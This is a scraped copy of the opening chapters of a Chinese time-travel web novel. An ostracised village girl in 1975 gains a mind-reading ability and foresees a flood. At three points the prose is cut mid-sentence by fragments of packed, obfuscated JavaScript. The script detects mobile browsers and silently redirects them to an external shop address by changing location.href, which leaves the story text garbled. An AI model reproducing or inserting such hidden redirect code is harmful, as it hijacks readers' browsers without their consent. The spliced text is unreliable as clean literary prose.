《不可言说的异能[年代]》 1. 第 1 章 孟逐星是被一阵胀痛感弄醒的。 看到破旧不堪的屋顶时她懵了一瞬,然后揉了揉眉心,不知原主这具身子还要给她多少惊喜…… 她垂眸看向胸口,目光顿时凝住了。 那里,怎么有一块湿痕? 孟逐星惊疑不定,伸手摸了摸,胀痛的感觉愈发强烈,似乎有什么液体缓缓涌出。 嗯?! 她瞪大了眼,简直难以置信。 只在小说中看到过的设定,竟然出现在了她所穿越的小姑娘身上! 孟逐星颤着手指沾了点儿,送到鼻尖闻了闻—— 很好,悬着的心终于死了。 她有气无力地倒回床上,原主身上没几两肉,木板床又只铺了层薄褥,硌得她很不舒服。 孟逐星望着透光的屋顶发呆,怎么也想不明白,她快乐地打了一宿游戏,怎么眼前一黑后就莫名其妙地穿越了? 还是来到了上个世纪七十年代的一个小山村。 时值七五年春天,庆丰公社四合村仍有些清冷,树木初绽新芽,田野间初泛嫩绿。 她穿在了一个名叫孟逐星的小姑娘身上,也不知是不是巧合,与她原本的名字一模一样。 孟逐星现在一想起刚穿来那天的情景仍觉得头皮发麻—— 贴了喜字的泥土房内,炕上坐了个盖着红盖头的小姑娘,她穿着身红色衣服,想是临时借别人的衣裳大了不少,愈发显得她身材瘦小。 木门忽地被人推开,一阵吵嚷嬉笑声传来,有人脚步沉重地走了过来。 再之后那人便猴急地扑了过来,小姑娘挣扎间,就听见“咚”地一声,似是有重物坠地…… 孟逐星无措地睁开眼,便看到那人口吐白沫浑身抽搐不止,她吓得大叫出声,引来了一群人。 一场混乱过后,她被人送到了山上的这间小木屋。 见她似是被吓傻了,一个大娘叹了口气,道:“小星,人的命都是老天爷安排好的,那王家老三明知道你命硬,还非要娶你,这不就摊上事了……” 孟逐星尚未从刚才的事情中回过神来,呆愣愣地问:“大娘,我、我的命怎么硬了?” 那大娘古怪地看了她一眼,嘀咕道:“脑子咋还不好了……” 说着便跟其他人一块匆匆离开了,仿佛这间木屋特别晦气似的。 四周安静下来后,孟逐星打量着屋内,家徒四壁不说,屋顶还有好几处漏风,她觉得口渴,见地上放了个暖瓶,便拿了个破口碗,倒了碗水。 水早已变凉,味道却算清冽,孟逐星喝了大半碗,脑海中蓦地涌出了些不属于她的记忆。 她愣了一会儿,这才明白这是原主身上曾发生过的事。 克父克母克兄弟,一家人死的就剩她一个了。 孟逐星这个小姑娘的命还真是硬。 尽管如此,却还是有人看中她的相貌,不信邪顶着被克的风险娶她进门,却还是没能逃过命运。 “可这些为什么要怪到一个小女孩身上?” 无神论者孟逐星并不信命,更何况克星一说。 只是如今这个时代,信这个的才是大多数,也正因如此,孟逐星在四合村很被嫌弃,明明是个瘦弱可怜的小姑娘,却因为所谓的命格成了村里的洪水猛兽。 她本应与村里其他人一样,去地里上工赚工分,却因她每回去都有人受伤、流血,邪门得很,三四回后,村长便不让她去了,每天给她算六工分,说她是孤儿,公社内对她特殊照顾。 孟逐星得知此事还颇为伤心,但孟逐星却乐得不去。 她虽也是农村出来的,小时候也做过不少农活,但还是觉得在田地里顶着大太阳除草耕种又累又苦,如果有的选,她想也没几个人是真心喜欢种地。 她在小木屋里待了半天,觉得闷不说,连对时间也没有概念了。 这年代和现代不同,温饱尚且成问题,更何况是娱乐的东西。 孟逐星很想念她的出租屋,虽然不大,却是独属于她自己的一片天地。 等等,她忽然想到一件事,如今她穿越了,那她的工作怎么办? 转瞬,孟逐星又觉得自己的关注点似乎不对,她更应该好好想想,自己怎么在这个年代生活下去才是。 既然她成了孟逐星,那么她便该以她的身份生存下去。 这具身子也不知多久没有吃饱饭,瘦骨伶仃的,在床上躺尸半日,再起来时她都觉得一阵头晕眼花。 孟逐星翻遍了整个屋子,只在墙角编筐里发现了两块红薯,她嫌麻烦,简单洗了洗便啃了起来。 这会儿天还没暖和起来,没吃几口孟逐星便觉得有些凉得受不住,她只好找到洋火,拢好树叶、木柴,擦了好几下才生着火,又将红薯削皮切块丢进小砂锅里,倒了一舀子水,慢慢等粥煮好。 等待的间隙,她看了看床下,竟然发现了一只木箱! 孟逐星有些意外,赶忙拉出来打开,却见木箱中除了有两身打着补丁的粗棉布短衫、长裤,一件旧棉袄,一双旧布鞋外,别的再无他物。 这些衣裳还都是原主妈妈留下的。 她叹了口气,对原主愈发同情起来,十八岁的少女,正是花一样的年纪,却过着如此清贫困难的生活。 孟逐星将木箱放回原处,抱膝坐在小锅前看粥一点点沸腾起来。 等煮好之后,她将粥盛在碗里,又趁着火烧了些开水。 暖瓶里的都是两天前的了,没有半丝热乎气儿。 孟逐星吃了一碗红薯粥,这才觉得身上暖和起来,见天色尚早,便找了些稻草、木片,将漏风的地方塞住,屋顶也勉强修补了一下。 一番折腾下来,她又觉得身上无力,关好门窗后便沉沉睡了过去。 再次醒来时,便是胸口的胀痛与……奇怪的液体。 孟逐星皱眉思索半晌,也未在原主的记忆中找到半点与此有关的画面,难不成是她突然穿越才引起的变故?还是病变? 一想到后者,孟逐星顿时便不淡定了。 她忐忑不安地伸手探进衣内,片刻之后,她的心又稍稍放松了些。 小小的也很可爱…… 啊不是,摸着也很正常,并无硬块什么的。 既来之则安之,孟逐星不打算再胡思乱想内耗下去,见外面阳光明媚,便背起竹篓出了门,依着原主的记忆去了山上。 她本想采些蘑菇、挖点儿野菜,但这年头家家户户都生活不易,山上能吃的东西都被踅摸得差不多了。 孟逐星在山上找了许久,也没见着什么吃的,眼前又一阵阵的发黑,她气喘吁吁地瘫坐在地,望着山下的村子发呆。 四周极静,过许久才有一声鸟叫。 孟逐星想,大概是这里的鸟也被人捕得差不多了吧,毕竟烤麻雀确实很香,小的时候她也曾见过村里的男孩子这样干。 正出神间,忽听到身后有人叫了声:“寡妇!” 孟逐星疑惑回头,就见到两个小男孩站在不远处,一高一矮,约莫十一二岁的样子,皮肤黝黑,正目不转睛地看着她。 他们的眼神很有意思,害怕中又夹杂着几分嘲笑。 孟逐星指了指自己,“你们在叫我?” 高个男孩道:“就是你,你害死了你的丈夫,所以你是寡妇!” 矮个男孩明显有些怯懦,漆黑的大眼睛眨了眨,往哥哥身后缩了缩,小声地附和:“没错。” 他应该是掉了颗牙,说话有点漏风, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732917|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将“没错”说成了“没戳”。 孟逐星没忍住笑出了声,两个男孩面面相觑,怎么事情跟奶奶说的不一样? 这个小克星克死了她的家人不说,还害得刚结婚的丈夫发了病没救回来,奶奶说要他们见到她就啐一口,骂她寡妇,这样她羞愧哭着跑走,他们才不会被她给妨到。 孟逐星笑问:“你们是哪家孩子?” 高个男孩歪了歪头,满脸疑惑:“你……不认识我们了吗?” 孟逐星也学他:“我……该认识你们吗?” “……” 李红文拉着弟弟便走,李红武小声问:“哥,这样她还能方着咱们不?” “应该不能了吧。”李红文说得也没有底气。 “站住。” 孟逐星叫住他们,见哥俩儿似是吓了一跳,不禁起了捉弄的心思,“你们转过身来,要不然我就……” 红文、红武立马像小陀螺似的转过了身,满脸忐忑:“你、你想做什么?” “我不做什么,只要你们老实回答我的问题。” “你说。” “王家那个人……他发病死了?” 红文点了点头,“俺妈亲眼见到的,今天俺爸还去他们家帮忙做棺材哩。” 红武小声补充:“他家人一直哭,还一直骂你……说你是扫把星、害人精。” 孟逐星沉默片刻,“村里人都这样认为吗?” “应该是吧……”红文挠了挠头,“村里都传开了,说哪个小孩不听话,就把谁送到山上小木屋,让你教训他。” “……” 合着她成了吓唬小孩的新一代马猴子了? 正说着话,一道急吼吼的声音传来—— “小文小武!你们俩干啥来!” 声音未落地,一个四十多岁的妇女就出现在孟逐星面前,老母鸡胡崽子般将两个男孩挡在身后。 陈大娘满脸戒备地瞪着孟逐星,“你这个小克星怎么在这儿,离我俩孙儿远远的!” 孟逐星翻了个白眼,冷声道:“这山是大家的,你们能来我不能来?刚才你家宝贝孙子上来就叫我‘寡妇’,我还纳闷这谁家孩子怎么这么没家教,现在看——” 她上下打量着陈大娘,“找着原因了。” “你这个扫把星说啥?!”陈大娘快五十岁的人了,没想到有一天会被一个小姑娘指着脸骂没教养。 孟逐星笑眯眯道:“好话不说第二遍,这位大娘,天色不早了,赶紧带着你家孙子下山吧,万一再摔了碰了,又要赖到我头上。” 陈大娘被她云淡风轻的样子给气到了,正要撸起袖子跟她吵,却被李红文扯住衣袖,“奶奶,咱们快走吧,她不大正常。” 明明之前他们说过几回话,她还叫他们一起玩,转头又说不认识他们,莫非是被鬼附了身? 李红文脑海中闪过爷爷说过的鬼故事,登时背后发凉,不等奶奶多问,便拉着她与弟弟没命似的往山下跑去。 陈大娘腿脚不及他们灵便,下山途中险些跌跤,神态狼狈至极,孟逐星见状,心情愉悦了几分。 她捡了些木柴背回小木屋,却没成想屋里木板床上竟坐着一个人。 孟逐星愣了一下,认出来这是原主的三大娘,原主之所以会嫁给王老三,都是这位三大娘的功劳。 她收了王老三五十块钱,就同意了他们的婚事。 四合村穷,工分不值钱,上工一天才赚两毛钱,五十块钱是一个成年劳动力八个多月的工钱。 以孟逐星的名声来说,王老三算挺大方了。 只是这笔钱原主没见着一分。 孟逐星正思索着说什么,就听三大娘起身问:“逐星,你还有没有钱?” 2. 第 2 章 “要钱做什么?” “王家老三死了,虽然是他身上有病在先,但人毕竟没了,今天他们家人一直来家里闹,不只要把彩礼全部要回,还要咱们赔偿十块钱!” “咱们?”孟逐星顿时被气笑了,将竹篓丢在地上,“大娘,王家给我的五十块彩礼呢?” 三大娘支吾:“那钱……被你堂哥给用掉了。” 孟逐星冷笑一声:“我有没有钱,大娘还不知道吗?彩礼既然是你收的,现在人家索要赔偿,难道不该你还么?” “可是那钱都被你堂哥给花了……”三大娘顿了顿,“要不然这样逐星,大娘也是为你好,你既然已经是王家的媳妇,就过去人家家里帮忙干干活,照顾照顾老人,就当是抵债了。” 原来在这儿等着她呢,孟逐星似笑非笑地盯着她:“王家人丁兴旺,有老有少的,他们昨天刚把我送回来,你又要我过去,就不怕我再克死几个,他们再向你要更多的钱?” 三大娘:“……” 她干笑两声,“你这孩子真会说笑,克星一说都是假的,不一定是真的……” 孟逐星正色道:“村里大部分的人都信,你和大爷也信的吧,要不然,怎么让我一个人住在这破木屋里?” 三大娘脸上有些挂不住,指责道:“你这孩子怎么听不懂好赖话?大娘我还能害你吗?说什么做什么不都是为了你好?那王老三虽然年纪大了点,人丑了点,但庄稼人又不挑这些,我也是想着你嫁过去能有个男人倚靠,日子会好过些,谁也没想到会……唉……” 越到后面,她声音越大,见孟逐星却是油盐不进的样子,没好气地撇了撇嘴。 “罢了,我跟王家去说,这笔赔偿金我们先帮你垫上。以后每月发工钱我就直接替你领了,你一个女孩子家也吃不了多少花不了多少,不像你哥,到了年龄该娶媳妇了,现如今彩礼又贵,还要置办三转一响的大件儿……” 她絮絮叨叨地说着,见孟逐星完全没在听,梗了一下,气呼呼地摔门走了。 孟逐星看着摇摇欲坠的小破门,很是心疼。 她试探地在心中问了问有没有什么系统,回应她的是四周呼啸的山风。 ……就很无语。 穿越就穿越,为什么不给她一个有用点儿的金手指啊! 可怨天尤人也毫无用处,只会让她更感饥饿。 孟逐星看着空荡荡的小破屋,又一次叹了口气——她该不会成为第一个因穿越而活活饿死的凄惨女主吧? 正蹲在小灶前发呆,忽然听到门外有女孩子在叫她的名字。 孟逐星起身打开门,就着暮色的余晖看到了一个脸颊圆润的小姑娘,扎着麻花辫儿,眼睛乌黑溜圆格外讨喜,正满脸关切地看着她。 她脑海中顿时又涌出些许记忆,这是原主的发小马小兰。 马小兰与原主同岁,自小一起长大,与原主不同的是,马小兰家庭和睦,父母健在不说,还有疼爱她的奶奶、哥哥。两人虽然同处小山村,物质条件都不富裕,但幸福程度却是天壤之别。 原主性子自卑胆小,马小兰却极热情开朗,尽管家里人也对原主有些微词,但她却毫不在乎,常常来找原主玩,隔三差五地还会从家里偷些吃的来贴补原主。 “逐星,你还好吗?”马小兰担忧地看着她,“我昨天晚上就听说你的事了,想来找你,一直被俺妈盯着,白天又去上工,趁天快黑我才跑出来的。你吃饭了没?我给你带了几个玉米面窝窝头,还有一缸子俺妈新腌好的萝卜丁。” 说着,她从怀中取出一个油纸包,将仍温热的窝窝头递到孟逐星手中,“你尝尝看好不好吃,喜欢的话我明天再给你拿几个。” 孟逐星很是感激,她确实快饿昏头了,接过来对马小兰道了谢,让人进了屋,坐在床边吃了起来。 见她吃得很急,马小兰不禁红了眼圈儿,恨声道:“你那个三大娘也真是坏,为了几十块钱就把你给卖了,如今王老三病死了,他们老王家不愿善罢甘休,听俺妈说闹到了你三大爷家,要他们还四十块钱的彩礼钱。” 孟逐星顿住,将口中的窝窝头咽下去后才问:“四十?” 马小兰点了点头:“是啊,俺妈说老王家的人找神马子算了命,说给你的彩礼不能全部要回来,要不然会对家里人不好,只能要回部分,他们自己也知道王老三的身体啥样,所以他们就要了四十。” “没额外要赔偿吗?” “啥赔偿?”马小兰圆眼怒睁,“他们怎么好意思!” 孟逐星垂眸,愈发觉得原主身世可怜,被亲戚这样利用蒙骗。 如果此时还是原主在面对这一切,也不知小姑娘能否承受,又会如何伤心。 毕竟在她小的时候,九十年代的皖北农村,她都常常听说哪个村子里又有妇女喝农药自杀。 孟逐星以前总是听长辈们说那些人是“冲动”、“一时想不开才如何如何”,但她觉得并非如此。 农药的气味有多刺鼻,单是闻一闻都让人窒息,到底是有多绝望才会走到那一步? “逐星你别难过。”马小兰握住她的手安慰道,“那个王老三我都听人说了,本来就有羊癫疯,身子不咋好,昨天的事都是意外,你千万别放在心上啊。” 孟逐星笑了笑:“我才不会介意,倒是你这样偷偷跑出来找我,被王婶儿知道了,又要说你了。” 马小兰挺起胸脯道:“我才不怕呢,俺妈就是刀子嘴豆腐心,昨天晚上她听说你的事后,还满脸担忧呢,怕你被王家的人欺负。” 她嘿嘿一笑,“我偷拿窝窝头的时候她也瞧见了,一声没吭,反倒主动盛了一杠子萝卜丁递过来,说‘干吃窝窝头噎得慌’。” 孟逐星心中一暖,脑海中浮现出王婶儿的样貌来,是个眉眼温和身量瘦削的中年妇女,她感激地抱住了马小兰:“小兰,多谢你们了。” 这话既是替她自己说的,更是替原主。 一朝穿越,惹人厌弃,生存都成了大问题,却还有马小兰、王婶儿这样暖心体贴的好人在帮助她。 “你这是干什么呀!”马小兰语气有些忸怩,手臂却用力地回抱住她,“咱们一块儿长大的,是好姐妹,我怎么会眼睁睁地看着你吃苦呢!” 两人说了会儿贴心话,见天色渐黑,马小兰便未多留,身姿轻盈地朝山下跑去。 刚到半山腰,便在路上见到一抹熟悉的身影,她欢声叫道:“大哥!你怎么来了?” 马文波见到妹妹平安无事,松了口气,“还不是咱妈,天这么晚了她不放心你一个人上山,要我来找你。” 他顿了顿,“逐星她还好吧?” “嗯嗯,她没事,就是断了口粮饿得厉害。” 兄妹两人一面说一面朝山下走去,马文波想了想,“家里还有点粮,咱妈前两天得了些菜种子,赶明儿你一并拿些给逐星,让她在屋前屋后种些,总能收成点儿。” “她之前也种过,不知是没打理好还是那块地肥力差,长着长着就蔫吧了,养鸡养鸭子也是,总是养不活,今年再试试看吧。” 两人到家时,正好赶上家里开饭,王婶儿瞥了眼女儿,见姑娘脸上笑嘻嘻的,便知逐星那丫头没什么大碍,当即悬着的心也落回了原处。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732918|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >半锅杂粮粥,一碗炒青菜,一碗土豆丝,王婶儿还烙了些杂面饼,一家人吃了饭,马小兰主动提出要帮忙收拾。 王婶儿哪还看不出她那点儿小九九,佯作不知,由着她鬼鬼祟祟地将剩下的面饼揣进兜里,在马小兰以为自己的小动作神不知鬼不觉,满心窃喜地准备撤退时,她就被她妈给叫住了。 “马小兰。” “哎……”她的声音有点发颤。 王婶儿忍住笑,“厨房里还有几张饼,专门留给逐星的,你明天再去的时候带给她吃。” 马小兰愣了一下,旋即笑开,抱住她的腰:“妈妈你最好了!” 她要是只小狗,此时尾巴都能摇成螺旋桨飞到天上去。 王婶儿嗔怪地瞪了她一眼,低声说:“妈虽不信克星一说,但你奶奶她可信,你别在她面前说你总去找逐星的事,省得她又念你。” 马小兰乖乖点头:“我知道的。” 翌日,马小兰上完工,拎着一只布袋便兴冲冲地跑上山,见孟逐星正在收拾屋子,连忙放下东西帮忙。 小木屋简陋至极,东西又少,说是收拾也不过是将东西归拢归拢,擦擦灰尘之类的。 忙罢,马小兰打开布袋,将面饼、粮食、种子一一拿出,孟逐星倒水给她,“又劳烦你跑一趟,你昨儿给的窝窝头我还没吃完,你家里人多口粮紧张,不必总送东西给我的。” 马家虽然有四个劳动力,但四合村工分不值钱,家里还要养一个腿脚不便的老人家,口粮也只是堪堪足够而已。 幸而王婶儿和马叔都是勤快的人,除了日常上工,他们还在家中院子里养了些鸡、鸭,下的蛋一来可以改善生活,若有剩余便拿去社里售卖,除了能赚钱补贴家用,也能换一些布票、糖票。 “这是我妈要我拿来的,家里还够吃,你就安心收着吧。”马小兰指着种子,“这是些蔬菜种子,有辣椒、小白菜、黄瓜、番茄、红薯,你种种看,兴许今年就能成呢!” 孟逐星自然记起了种菜养鸡一事,说来也怪,原主的运气似乎太背了些,不仅命格不好,做什么事也总是不成,这么多年身边要不是有马小兰这个好朋友,估计早就抑郁而终了。 “好,我赶明儿便去河边挑水,将这些菜种上。” “我叫我哥一起帮忙,人多力量大嘛。” 种菜的时候,孟逐星见到了马文波,与她记忆中的差不多,个子不是太高,长得蛮清秀的,话不太多,但干活却很卖力气。 三个人很快便将屋前屋后的地翻了一遍,挖坑撒种子浇水,忙到天黑才弄完。 两兄妹干完活便要下山,让孟逐星很是愧疚,她一无所有,想请人吃点饭表示感激都办不到。 她看着马文波,歉然道:“文波哥,今天多谢你了。” 马文波对她点了下头,“小事罢了,你别见外。” 却在此时,他头顶上忽地弹出了一个闪光的对话框,一行文字倏地闪现:【逐星比以前更瘦了,真是可怜。】 孟逐星瞳孔放大,这是什么情况? 她看向马小兰,见她头顶也飘着一个对话框:【忙了一天好累好饿,也不知道妈给做啥好吃的了?】 “……” 这难道就是传说中的读心术? 孟逐星目送着兄妹俩下山,惊疑不定地回到木屋,又试探地叫了声系统,可还是无人理她。 好吧,这读心术能有啥用?她并不想听到别人的心声好不好! 等等,她低头看向胸口,怎么胀痛感越来越强烈了啊?! 她到底是来穿越的,还是来渡劫的呢我请问?! 3. 第 3 章 孟逐星郁闷地打了水擦拭,也不知是不是她的错觉,那里……似乎好像大了一点点? 净整这些没用的。 她很是无语,还不如给她几个热腾腾的白面馒头实在。 外面天黑透了,孟逐星点燃了煤油灯,原主在山上捡的小玻璃瓶做成的,将马小兰送来的口粮收好,简单洗了脸和脚,便吹灯上了床。 原以为没了手机没了WiFi她会睡不着,却没想到没过一会儿她就睡得香甜,还做了一个颇为奇怪的梦。 梦中,四合村暴雨连绵,河水泛滥不止冲垮了河堤,还将农田房舍都给淹了,突如其来的洪灾让许多人流连失所,有不少人丢了性命。 村长和大队书记组织村民与知青们冒雨救灾,孩童们哭嚎不止,声音太过真实,以致于孟逐星惊醒之后,心口仍沉甸甸的,像是压了块大石头。 还好只是一场梦,要不然真的会死好多人。 外面天色微亮,孟逐星没再继续睡,起床扎好头发洗了把脸,便背起竹篓出了门。 她就不信总会一无所获。 在衣裤被露水打湿大半后,孟逐星的竹篓里多了些野菜与香椿芽。 今天她去的地方有点偏僻,想来还没被村里人搜寻过,倒是收获不小。 香椿芽孟逐星在现代的时候不太喜欢,觉得气味儿过重,但如今她也没得挑了,有总比没有好。 又捡了些树枝捆好,孟逐星满载而归。 回到小木屋后,她取出些黍米清洗后倒在锅里,加水生火,煮了些粥,又拿出些香椿芽洗净、焯水、切碎,撒了点儿盐,搅拌搅拌就是一道小菜了。 吃罢饭后,孟逐星便去看昨天种的菜,刚来到屋后,她就愣住了。 明明昨天刚撒下去的辣椒种子,怎么今天就有几株长出了四五厘米高?而其他的却什么也看不到。 地再肥也不可能这么神速吧?! 孟逐星很是震惊,蹲下摸了摸那几株小苗,绿油油的长得极好,这还真是奇了怪了…… 等等,她突然想到一件事。 昨天晚上擦拭完身子,她将水随手倒在了屋后……难不成是那水的问题? 她低头看了看胸口,不禁陷入了沉思。 为了验证这个猜想,孟逐星拿过毛巾,想再试验一回,可等了许久,那里仍毫无异样。 十分安静乖巧,仿佛前两天的肿痛与流那啥都是她的幻觉。 这又是怎么回事? 孟逐星百思不得其解,索性便丢开不想,木屋后面还有一大片空地,长满了草,就这样荒废着怪可惜的,她便扛起锄头除起草来。 铲下的草她堆到一旁树荫下,准备切碎了拿来喂鸡。 小兰说会帮她买两只鸡仔上来,到时候她就可以养鸡吃鸡蛋了。 理想总是十分美好,只是一想到原主曾经干啥啥不成,孟逐星也忍不住有点担心,不过担心也没用呀,路都是人走出来的,她总不能一直靠小兰救济吧。 而屋后那几株生长奇快的辣椒苗,让她心里生出些盼头来——搞不好,她也是个有粗大金手指的穿越人士呢! 清理出空地后已经是中午,孟逐星简单吃了口饼,便拎着布袋下了山,直奔村长家。 村长家刚准备开饭,就见到那个极不招人待见的小克星,正可怜巴巴地站在自家门口。 村长媳妇儿李婶儿见状,看了眼自家老头儿,手在围裙上擦了擦,问:“小孟,你有什么事?” 孟逐星眼眶微红:“婶子,我不是有意打扰你们吃饭的,我就是有个事想跟村长商量一下。” 村长闻言,道:“啥事儿你直说?” “我身体不好,社里体谅照顾我,不让我出工,我受之有愧,所以想……” 村长连忙打断她:“不必!村里人多,不差你一个人的工。” 要是这小克星又去上工,再害得几个人流血出事,他这个村长就别想干了。 “话虽然这样说,我也不能坐享其成占村里人便宜,村长,我是这样想的,我山上屋后边有块空地,我给清理出来了,准备种些玉米、红薯,虽然收成不多,但至少我能自个儿管着自个,不用再麻烦社里了。” 村长很是意外,没想到这个小克星会说这种话,对孟逐星的态度也好了些:“小孟啊,你有这个觉悟还是非常好的,有没有什么困难,你说说看。” 孟逐星低头道:“我没有种子和肥料……” “这个简单,你跟我去社里拿种子,肥料村里用的都是农家肥,待会儿也给你带一些回去。”村长看了看她瘦小的身板,“算了,肥料我让人给你送些上去吧。” “谢谢村长了!” 村长把种子给了孟逐星,她满脸高兴地走了。 李婶儿一面喝稀饭一面嘀咕:“这丫头怎么跟变了个人似的……” 虽然大家在一个村里生活,但平时很少见到她不说,每回见面她都低着头不说话,怯生生的,看着就很畏畏缩缩,怎么今天这么多话,还要自己在山上种地? 可真是奇了怪了,难道是王老三的死给她刺激太大,给人刺激傻了? 李婶儿摇了摇头,叮嘱自家老头:“少跟这个小克星来往,晦气。” 村长瞪了老婆一眼,压低声音:“又来封建迷信那一套,小心隔墙有耳。” 李婶儿收声,转过身继续喂孙女儿吃饭。 …… 孟逐星抱着一小袋玉米种子和几株红薯秧苗喜滋滋地往山上走去,这会儿正是大中午,村里人并不多,偶尔能看到一只大黄狗,瘦得皮包骨,叫声却很是响亮。 她离狗远了些,冷不丁一转弯,就看到前面槐树下蹲着三四个人,手里捧着饭碗正扒拉着,见到她之后,齐刷刷地朝她看来。 “……” 孟逐星硬着头皮往前走,目光不经意地瞥过他们,却见他们的头顶唰地一下弹出了闪光的对话框—— 【小克星怎么来村里了?怀里是抱着什么东西?】 【怪不得那王老三非要娶她,小姑娘长得是蛮清秀,就是太瘦了,一看就不好生养。】 【噫,真是女大十八变,孟老四还能生出这么俊的闺女!】 孟逐星匆匆走过,在走到山脚下时她才松了一口气,被人这样紧盯着的感觉太可怕了……等等,她怎么又能看到他们的心声了? 再等等,胸口似乎又开始难受起来…… 孟逐星脑海中倏地闪过一抹电光,抓到了问题的关键——难不成是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732919|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为触发了读心术,所以她的胸口才会胀痛?所以会流那啥,也是读心术所带来的副作用了? ……孟逐星很想骂人,却只能顶着大太阳气喘吁吁往山上跑。 回到木屋擦洗清理后,她望着泛着些许乳白的水陷入沉思。 这回,她将水倒在了刚挖坑栽下的红薯苗上。 之后她又挖坑种下玉米,挑水浇水施肥,忙乎完直起腰时,孟逐星觉得眼前一阵阵发黑,赶忙回屋里休息一会儿,烧水热了饼子和粥,吃饱后便倒在床上睡着了。 也不知过了多久,再次醒来时,外面已经星光满天。 这会儿没什么空气污染,原主的眼睛不仅生得清澈漂亮,视力也是极好的,孟逐星站在木屋门户仰望着星空,微风阵阵,空气中浮动着不知名的淡淡花香,让人心旷神怡。 远离了城市的喧嚣与工作的烦恼,她头一回觉得穿越到这个年代也挺好的,就是不知道她爸妈多久才会发现她失联了,得知后又会是什么反应? 孟逐星望着夜空出了会儿神,转身回屋继续睡觉,明天还有很多事要做,她没工夫在这儿胡思乱想。 翌日一早,她起床的第一件事就是跑到屋后看红薯苗的情况,尽管有了一定的心理预期,但在看到那几株绿油油长高了好几厘米的秧苗时,孟逐星还是震惊了。 好家伙,她这也算是有了异能么? 流出的那啥就像是电影《十兄弟》中的那块宝地,可以让植物超快速生长? 为了验证这个猜想,孟逐星背着竹篓进了山。 在山里遇见了几个想抓麻雀的小孩子,她盯着他们的背影看了一会儿,见他们头上并没有对话框弹出,正疑惑间,见到一个大婶儿迎面走来,与她四目相对—— 【看什么看?害人精!】 孟逐星恍然大悟,原来是要与人目光接触,她才可以听到人心。 那,这个她能控制开关吗? 要是一与人对上眼就能听到他们的心中所想,这种感觉也不太好吧……而且主要是这个超能力会带来令人羞耻的副作用啊! 孟逐星回到小木屋,只觉得有一点点不太舒服,倒是不需要擦洗处理,看来这副作用深浅也与读心术使用多少成正比。 若她控制着不去看别人的眼睛,就不至于当众出丑。 心下稍安,这才科学嘛,怎么说她好歹也是一个穿越人氏,总是要有点特殊能力才好继续在这个年代混下去。 接下来几天,孟逐星都在学习控制读心术的使用,她对这一能力掌控愈发娴熟,浑然没注意到天气已连续阴沉了好几日,自这天傍晚起便下起瓢泼大雨来。 起初她与村里人一样,认为这只不过是寻常的一场雨,直到雨水连绵不绝仿若倾盆,乌压压的云层笼罩四野,天仿佛都要下漏了一般。 村里人开始担心起地里的庄稼来,再这样下去不得都泡水淹死了? 孟逐星则坐在木屋前出神,脑海中冷不丁闪过了前些天做过的那个山洪爆发的梦—— 她心中一惊,不会真的变成那样吧? 可万一那是一个预知梦呢?她总不能眼睁睁地看着许多人丢了性命。 孟逐星没再迟疑,戴着斗笠便冒雨冲下了山,直奔村长家。 4. 第 4 章 李婶儿见到浑身狼狈还像是摔了几跤的孟逐星很是意外,大雨天的这小克星跑这来做什么? 听这丫头说雨还会下很久,极有可能会暴发山洪冲走很多人,劝村长组织村民往高处避难,她冷哼一声:“怎么,你啥时候成了神马子,还会未卜先知了?我看这雨很快就要停了。” 孟逐星看向一旁的村长,沉静道:“村长,现在雨这么大,大家也都无法上工,与其在各家干坐着,不如您去广播站说一下可能发生的情况,也叫大家心里也有个准备,不怕一万就怕万一。” “退一步说,即便您组织大家上山躲避,无事发生那也不耽误什么,不是么?” 村长抽了口旱烟,看了看外面密集的雨线,起身道:“好,我这就去广播站说一下。” 孟逐星松了口气,顾不得膝盖上的擦伤,赶忙又跑到了马小兰家里,将情况说了。 王婶儿闻言,对马国富说:“看吧,我就说这雨下得不太对劲,该找个地方躲躲才是,逐星说得对,万一出了事,你后悔都来不及。” 之后一家人便简单收拾了行囊,马文波背起腿脚不便的奶奶,几人冒雨往山上走去。 途中,遇见三三两两的村里人,也带着大包小包上了山。 孟逐星带着马小兰一家来到自己山顶的小木屋,屋子窄小,瞬间便被塞满了,她没别的东西好招待,便煮了些黍米汤驱寒,碗不够,众人依次喝了些。 马奶奶本就不喜欢孟逐星,和村里大多数人一样认为她是扫把星,此时被孙子背来她的住处心里是一百个不愿意,吵嚷着要回家,说不能被人给害了。 “奶奶,您说是谁要害您呀?”马小兰佯作不知,故意问。 老太太努了努嘴,“我不说你们心里也都清楚。” 王婶儿歉疚地看了孟逐星一眼,劝道:“妈,雨这么大又下了这么多天,咱家房子在山下还是很危险的,逐星的屋子虽小,却在山顶的平地上,最是安全,等雨小点地上的水耗得差不多,咱们再回家吧。” “我说你们也太胆小了,不就是下点雨吗?多大点儿事!” 